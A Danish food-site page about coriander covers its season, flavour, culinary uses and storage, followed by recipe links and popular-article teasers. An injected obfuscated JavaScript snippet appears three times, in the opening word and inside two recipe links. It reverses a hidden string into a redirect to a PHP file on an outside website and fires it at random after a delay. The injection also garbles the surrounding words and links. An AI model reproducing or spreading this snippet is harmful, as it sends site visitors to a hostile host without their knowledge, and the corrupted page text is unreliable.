Kori$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}ander

Sæson
Juni til juli, men importeres hele året.

Smag
Korianderplantens blade både dufter og smager kraftigt og parfumeret af persille, citrus og harpiks, lidt sæbeagtigt. Smagen deler vandene; enten hader man den, eller også elsker man den. Anderledes er den i hvert fald, og det kan tage tid at vænne sig til smagen. Koriander løfter og frisker op i varme og krydrede retter.

Prøv fx $nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}ander/”>Ceviche med chili og koriander

Anvendelse
Den sartgrønne krydderurt minder om persille og er næsten også lige så populær, i hvert fald på verdensplan. Både i Latinamerika, USA, Mellemøsten og Asien krydres maden flittigt med koriander. Både roden, bladene og plantens frø er spiselige. Roden smager mere persilleagtigt og træagtigt end bladene, men er skøn at koge med i asiatiske retter, som til sidst krydres med bladene. Koriander med rod kan man være heldig at finde i asiatiske supermarkeder. Bladene bruges typisk rå eller tilsættes lige inden servering, for de mister både noget af deres smag og den lysegrønne farve ved kogning. De små gullige korianderfrø er endnu mere udbredte end selve bladene. De smager sødt, friskt og citrusagtigt, men på en mere tør måde end bladene. De kuglerunde frø bruges i pølser, currys, marinader, syltelager, chutneys og i rubs til kød samt i kager og desserter. Den friske koriander går særdeles godt i spænd med chili, ingefær, hvidløg og lime. Smagen har en evne til at afbalancere fiskesmag og fedme, og så virker den kølende i forbindelse med krydrede retter. I Mexico indgår den i mange retter såsom guacamole og ceviche. Prøv også en frisk, men julet salat med arabisk inspiration bestående af appelsin i skiver, granatæblekerne, lidt orangeblomstvand, rødløg i ringe og masser af friskhakket koriander.

Prøv fx $nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andercreme/”>Langtidsbraiseret steak carnitas med tortillas og koriandercreme

Opbevaring
Køligt. Kan fryses.

Trends

Populære artikler

Passioncake

Konditoren Nikolaos Strangas oplever, at mange vælger at spise sushi nytårsaften. Efter sådan et måltid er denne cremede kage med et syrligt pift af passionsfrugt

Læs mere

Syltede oliven og oste

Det er desværre de færreste, som kan få fat på helt friskhøstede oliven, så denne opskrift bruger forskellige slags oliven på glas, der vendes med

Læs mere

Macarons med kaffeganache

En af dessertkunstneren Nikolaos Strangas’ absolutte hitkager er macarons: Små franske makroner med fyld af fx mynte- eller jordbærganache. Det er lykkedes MAD&venner at lokke

Læs mere